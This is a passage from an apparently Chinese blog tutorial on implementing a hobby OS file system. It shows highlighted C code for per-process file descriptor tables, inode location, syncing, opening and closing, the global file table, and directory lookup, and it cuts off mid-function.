class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX_FILES_OPEN_PER_PROC 8</span></span><br><span class="line"><span class="comment">/* 进程或线程的pcb,程序控制块 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> &#123;</span></span><br><span class="line">[...]</span><br><span class="line"><span class="keyword">int32_t</span> fd_table[MAX_FILES_OPEN_PER_PROC];<span class="comment">// 文件描述符数组</span></span><br><span class="line">[...]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>文件描述符的初始化如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化线程基本信息 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init_thread</span><span class="params">(struct task_struct* pthread, <span class="keyword">char</span>* name, <span class="keyword">int</span> prio)</span> </span>&#123;</span><br><span class="line">   [...]</span><br><span class="line">   <span class="comment">/* 预留标准输入输出 */</span></span><br><span class="line">   pthread-&gt;fd_table[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">   pthread-&gt;fd_table[<span class="number">1</span>] = <span class="number">1</span>;</span><br><span class="line">   pthread-&gt;fd_table[<span class="number">2</span>] = <span class="number">2</span>;</span><br><span class="line">   <span class="comment">/* 其余的全置为-1 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> fd_idx = <span class="number">3</span>;</span><br><span class="line">   <span class="keyword">while</span> (fd_idx &lt; MAX_FILES_OPEN_PER_PROC) &#123;</span><br><span class="line">      pthread-&gt;fd_table[fd_idx] = <span class="number">-1</span>;</span><br><span class="line">      fd_idx++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   pthread-&gt;stack_magic = <span class="number">0x19870916</span>;  <span class="comment">// 自定义的魔数</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="inode相关函数"><a href="#inode相关函数" class="headerlink" title="inode相关函数"></a>inode相关函数</h2><p>要想操作文件使其创建、打开、读写，首先得准备一些对inode相关操作的函数，存储inode信息的结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 用来存储inode位置 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">inode_position</span> &#123;</span></span><br><span class="line">   <span class="keyword">bool</span> two_sec;<span class="comment">// inode是否跨扇区</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_lba;<span class="comment">// inode所在的扇区号</span></span><br><span class="line">   <span class="keyword">uint32_t</span> off_size;<span class="comment">// inode在扇区内的字节偏移量</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是获取inode所在扇区和扇区内的偏移函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 获取inode所在的扇区和扇区内的偏移量 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">inode_locate</span><span class="params">(struct partition* part, <span class="keyword">uint32_t</span> inode_no, struct inode_position* inode_pos)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* inode_table在硬盘上是连续的 */</span></span><br><span class="line">   ASSERT(inode_no &lt; <span class="number">4096</span>);</span><br><span class="line">   <span class="keyword">uint32_t</span> inode_table_lba = part-&gt;sb-&gt;inode_table_lba;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> inode_size = <span class="keyword">sizeof</span>(struct inode);</span><br><span class="line">   <span class="keyword">uint32_t</span> off_size = inode_no * inode_size;    <span class="comment">// 第inode_no号I结点相对于inode_table_lba的字节偏移量</span></span><br><span class="line">   <span class="keyword">uint32_t</span> off_sec  = off_size / <span class="number">512</span>;    <span class="comment">// 第inode_no号I结点相对于inode_table_lba的扇区偏移量</span></span><br><span class="line">   <span class="keyword">uint32_t</span> off_size_in_sec = off_size % <span class="number">512</span>;    <span class="comment">// 待查找的inode所在扇区中的起始地址</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 判断此i结点是否跨越2个扇区 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> left_in_sec = <span class="number">512</span> - off_size_in_sec;</span><br><span class="line">   <span class="keyword">if</span> (left_in_sec &lt; inode_size ) &#123;  <span class="comment">// 若扇区内剩下的空间不足以容纳一个inode,必然是I结点跨越了2个扇区</span></span><br><span class="line">      inode_pos-&gt;two_sec = <span class="literal">true</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 否则,所查找的inode未跨扇区</span></span><br><span class="line">      inode_pos-&gt;two_sec = <span class="literal">false</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   inode_pos-&gt;sec_lba = inode_table_lba + off_sec;</span><br><span class="line">   inode_pos-&gt;off_size = off_size_in_sec;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将inode写入到分区part</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将inode写入到分区part */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">inode_sync</span><span class="params">(struct partition* part, struct inode* inode, <span class="keyword">void</span>* io_buf)</span> </span>&#123; <span class="comment">// io_buf是用于硬盘io的缓冲区</span></span><br><span class="line">   <span class="keyword">uint8_t</span> inode_no = inode-&gt;i_no;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode_position</span> <span class="title">inode_pos</span>;</span></span><br><span class="line">   inode_locate(part, inode_no, &amp;inode_pos);       <span class="comment">// inode位置信息会存入inode_pos</span></span><br><span class="line">   ASSERT(inode_pos.sec_lba &lt;= (part-&gt;start_lba + part-&gt;sec_cnt));</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 硬盘中的inode中的成员inode_tag和i_open_cnts是不需要的,</span></span><br><span class="line"><span class="comment">    * 它们只在内存中记录链表位置和被多少进程共享 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span> <span class="title">pure_inode</span>;</span></span><br><span class="line">   <span class="built_in">memcpy</span>(&amp;pure_inode, inode, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 以下inode的三个成员只存在于内存中,现在将inode同步到硬盘,清掉这三项即可 */</span></span><br><span class="line">   pure_inode.i_open_cnts = <span class="number">0</span>;</span><br><span class="line">   pure_inode.write_deny = <span class="literal">false</span>; <span class="comment">// 置为false,以保证在硬盘中读出时为可写</span></span><br><span class="line">   pure_inode.inode_tag.prev = pure_inode.inode_tag.next = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">char</span>* inode_buf = (<span class="keyword">char</span>*)io_buf;</span><br><span class="line">   <span class="keyword">if</span> (inode_pos.two_sec) &#123;    <span class="comment">// 若是跨了两个扇区,就要读出两个扇区再写入两个扇区</span></span><br><span class="line">   <span class="comment">/* 读写硬盘是以扇区为单位,若写入的数据小于一扇区,要将原硬盘上的内容先读出来再和新数据拼成一扇区后再写入  */</span></span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">2</span>);<span class="comment">// inode在format中写入硬盘时是连续写入的,所以读入2块扇区</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 开始将待写入的inode拼入到这2个扇区中的相应位置 */</span></span><br><span class="line">      <span class="built_in">memcpy</span>((inode_buf + inode_pos.off_size), &amp;pure_inode, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 将拼接好的数据再写入磁盘 */</span></span><br><span class="line">      ide_write(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">2</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;    <span class="comment">// 若只是一个扇区</span></span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">1</span>);</span><br><span class="line">      <span class="built_in">memcpy</span>((inode_buf + inode_pos.off_size), &amp;pure_inode, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line">      ide_write(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">1</span>);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打开和关闭节点的操作函数，其中part-&gt;open_inodes的存在是为了提高效率，减少直接访问磁盘的频率</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 根据i结点号返回相应的i结点 */</span></span><br><span class="line"><span class="function">struct inode* <span class="title">inode_open</span><span class="params">(struct partition* part, <span class="keyword">uint32_t</span> inode_no)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 先在已打开inode链表中找inode,此链表是为提速创建的缓冲区 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">elem</span> = <span class="title">part</span>-&gt;<span class="title">open_inodes</span>.<span class="title">head</span>.<span class="title">next</span>;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">inode_found</span>;</span></span><br><span class="line">   <span class="keyword">while</span> (elem != &amp;part-&gt;open_inodes.tail) &#123;</span><br><span class="line">      inode_found = elem2entry(struct inode, inode_tag, elem);</span><br><span class="line">      <span class="keyword">if</span> (inode_found-&gt;i_no == inode_no) &#123;</span><br><span class="line"> inode_found-&gt;i_open_cnts++;</span><br><span class="line"> <span class="keyword">return</span> inode_found;</span><br><span class="line">      &#125;</span><br><span class="line">      elem = elem-&gt;next;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/*由于open_inodes链表中找不到,下面从硬盘上读入此inode并加入到此链表 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode_position</span> <span class="title">inode_pos</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* inode位置信息会存入inode_pos, 包括inode所在扇区地址和扇区内的字节偏移量 */</span></span><br><span class="line">   inode_locate(part, inode_no, &amp;inode_pos);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 为使通过sys_malloc创建的新inode被所有任务共享,</span></span><br><span class="line"><span class="comment"> * 需要将inode置于内核空间,故需要临时</span></span><br><span class="line"><span class="comment"> * 将cur_pbc-&gt;pgdir置为NULL */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* cur_pagedir_bak = cur-&gt;pgdir;</span><br><span class="line">   cur-&gt;pgdir = <span class="literal">NULL</span>;</span><br><span class="line">   <span class="comment">/* 以上三行代码完成后下面分配的内存将位于内核区 */</span></span><br><span class="line">   inode_found = (struct inode*)sys_malloc(<span class="keyword">sizeof</span>(struct inode));</span><br><span class="line">   <span class="comment">/* 恢复pgdir */</span></span><br><span class="line">   cur-&gt;pgdir = cur_pagedir_bak;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">char</span>* inode_buf;</span><br><span class="line">   <span class="keyword">if</span> (inode_pos.two_sec) &#123;<span class="comment">// 考虑跨扇区的情况</span></span><br><span class="line">      inode_buf = (<span class="keyword">char</span>*)sys_malloc(<span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* i结点表是被partition_format函数连续写入扇区的,</span></span><br><span class="line"><span class="comment">    * 所以下面可以连续读出来 */</span></span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">2</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;<span class="comment">// 否则,所查找的inode未跨扇区,一个扇区大小的缓冲区足够</span></span><br><span class="line">      inode_buf = (<span class="keyword">char</span>*)sys_malloc(<span class="number">512</span>);</span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">1</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">memcpy</span>(inode_found, inode_buf + inode_pos.off_size, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 因为一会很可能要用到此inode,故将其插入到队首便于提前检索到 */</span></span><br><span class="line">   list_push(&amp;part-&gt;open_inodes, &amp;inode_found-&gt;inode_tag);</span><br><span class="line">   inode_found-&gt;i_open_cnts = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">   sys_free(inode_buf);</span><br><span class="line">   <span class="keyword">return</span> inode_found;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 关闭inode或减少inode的打开数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">inode_close</span><span class="params">(struct inode* inode)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 若没有进程再打开此文件,将此inode去掉并释放空间 */</span></span><br><span class="line">   <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">   <span class="keyword">if</span> (--inode-&gt;i_open_cnts == <span class="number">0</span>) &#123;</span><br><span class="line">      list_remove(&amp;inode-&gt;inode_tag);  <span class="comment">// 将I结点从part-&gt;open_inodes中去掉</span></span><br><span class="line">   <span class="comment">/* inode_open时为实现inode被所有进程共享,</span></span><br><span class="line"><span class="comment">    * 已经在sys_malloc为inode分配了内核空间,</span></span><br><span class="line"><span class="comment">    * 释放inode时也要确保释放的是内核内存池 */</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">      <span class="keyword">uint32_t</span>* cur_pagedir_bak = cur-&gt;pgdir;</span><br><span class="line">      cur-&gt;pgdir = <span class="literal">NULL</span>;</span><br><span class="line">      sys_free(inode);</span><br><span class="line">      cur-&gt;pgdir = cur_pagedir_bak;</span><br><span class="line">   &#125;</span><br><span class="line">   intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>初始化inode函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化new_inode */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">inode_init</span><span class="params">(<span class="keyword">uint32_t</span> inode_no, struct inode* new_inode)</span> </span>&#123;</span><br><span class="line">   new_inode-&gt;i_no = inode_no;</span><br><span class="line">   new_inode-&gt;i_size = <span class="number">0</span>;</span><br><span class="line">   new_inode-&gt;i_open_cnts = <span class="number">0</span>;</span><br><span class="line">   new_inode-&gt;write_deny = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化块索引数组i_sector */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> sec_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (sec_idx &lt; <span class="number">13</span>) &#123;</span><br><span class="line">   <span class="comment">/* i_sectors[12]为一级间接块地址 */</span></span><br><span class="line">      new_inode-&gt;i_sectors[sec_idx] = <span class="number">0</span>;</span><br><span class="line">      sec_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="文件相关函数"><a href="#文件相关函数" class="headerlink" title="文件相关函数"></a>文件相关函数</h2><p>文件的一些基本结构定义如下，在fs目录下的file文件中实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 文件结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> fd_pos;      <span class="comment">// 记录当前文件操作的偏移地址,以0为起始,最大为文件大小-1</span></span><br><span class="line">   <span class="keyword">uint32_t</span> fd_flag;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">fd_inode</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 标准输入输出描述符 */</span></span><br><span class="line"><span class="keyword">enum</span> std_fd &#123;</span><br><span class="line">   stdin_no,   <span class="comment">// 0 标准输入</span></span><br><span class="line">   stdout_no,  <span class="comment">// 1 标准输出</span></span><br><span class="line">   stderr_no   <span class="comment">// 2 标准错误</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 位图类型 */</span></span><br><span class="line"><span class="keyword">enum</span> bitmap_type &#123;</span><br><span class="line">   INODE_BITMAP,     <span class="comment">// inode位图</span></span><br><span class="line">   BLOCK_BITMAP     <span class="comment">// 块位图</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>下面是一些文件操作函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 文件表 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file</span> <span class="title">file_table</span>[<span class="title">MAX_FILE_OPEN</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 从文件表file_table中获取一个空闲位,成功返回下标,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> get_free_slot_in_global(<span class="keyword">void</span>) &#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> fd_idx = <span class="number">3</span>;</span><br><span class="line">   <span class="keyword">while</span> (fd_idx &lt; MAX_FILE_OPEN) &#123;</span><br><span class="line">      <span class="keyword">if</span> (file_table[fd_idx].fd_inode == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      fd_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (fd_idx == MAX_FILE_OPEN) &#123;</span><br><span class="line">      printk(<span class="string">"exceed max open files\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> fd_idx;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将全局描述符下标安装到进程或线程自己的文件描述符数组fd_table中,</span></span><br><span class="line"><span class="comment"> * 成功返回下标,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> pcb_fd_install(<span class="keyword">int32_t</span> globa_fd_idx) &#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">   <span class="keyword">uint8_t</span> local_fd_idx = <span class="number">3</span>; <span class="comment">// 跨过stdin,stdout,stderr</span></span><br><span class="line">   <span class="keyword">while</span> (local_fd_idx &lt; MAX_FILES_OPEN_PER_PROC) &#123;</span><br><span class="line">      <span class="keyword">if</span> (cur-&gt;fd_table[local_fd_idx] == <span class="number">-1</span>) &#123;<span class="comment">// -1表示free_slot,可用</span></span><br><span class="line"> cur-&gt;fd_table[local_fd_idx] = globa_fd_idx;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      local_fd_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (local_fd_idx == MAX_FILES_OPEN_PER_PROC) &#123;</span><br><span class="line">      printk(<span class="string">"exceed max open files_per_proc\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> local_fd_idx;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 分配一个i结点,返回i结点号 */</span></span><br><span class="line"><span class="keyword">int32_t</span> inode_bitmap_alloc(struct partition* part) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> bit_idx = bitmap_scan(&amp;part-&gt;inode_bitmap, <span class="number">1</span>);</span><br><span class="line">   <span class="keyword">if</span> (bit_idx == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   bitmap_set(&amp;part-&gt;inode_bitmap, bit_idx, <span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> bit_idx;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="目录相关函数"><a href="#目录相关函数" class="headerlink" title="目录相关函数"></a>目录相关函数</h2><p>下面是一些目录操作的基本函数，下面几个函数功能主要是打开和索引</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dir</span> <span class="title">root_dir</span>;</span>             <span class="comment">// 根目录</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 打开根目录 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">open_root_dir</span><span class="params">(struct partition* part)</span> </span>&#123;</span><br><span class="line">   root_dir.inode = inode_open(part, part-&gt;sb-&gt;root_inode_no);</span><br><span class="line">   root_dir.dir_pos = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在分区part上打开i结点为inode_no的目录并返回目录指针 */</span></span><br><span class="line"><span class="function">struct dir* <span class="title">dir_open</span><span class="params">(struct partition* part, <span class="keyword">uint32_t</span> inode_no)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">pdir</span> = (<span class="title">struct</span> <span class="title">dir</span>*)<span class="title">sys_malloc</span>(<span class="title">sizeof</span>(<span class="title">struct</span> <span class="title">dir</span>));</span></span><br><span class="line">   pdir-&gt;inode = inode_open(part, inode_no);</span><br><span class="line">   pdir-&gt;dir_pos = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">return</span> pdir;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在part分区内的pdir目录内寻找名为name的文件或目录,</span></span><br><span class="line"><span class="comment"> * 找到后返回true并将其目录项存入dir_e,否则返回false */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">search_dir_entry</span><span class="params">(struct partition* part, struct dir* pdir, \</span></span></span><br><span class="line"><span class="function"><span class="params">     <span class="keyword">const</span> <span class="keyword">char</span>* name, struct dir_entry* dir_e)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> block_cnt = <span class="number">140</span>; <span class="comment">// 12个直接块+128个一级间接块=140块</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 12个直接块大小+128个间接块,共560字节 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* all_blocks = (<span class="keyword">uint32_t</span>*)sys_malloc(<span class="number">48</span> + <span class="number">512</span>);</span><br><span class="line">   <span class="keyword">if</span> (all_blocks == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"search_dir_entry: sys_malloc for all_blocks failed"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">   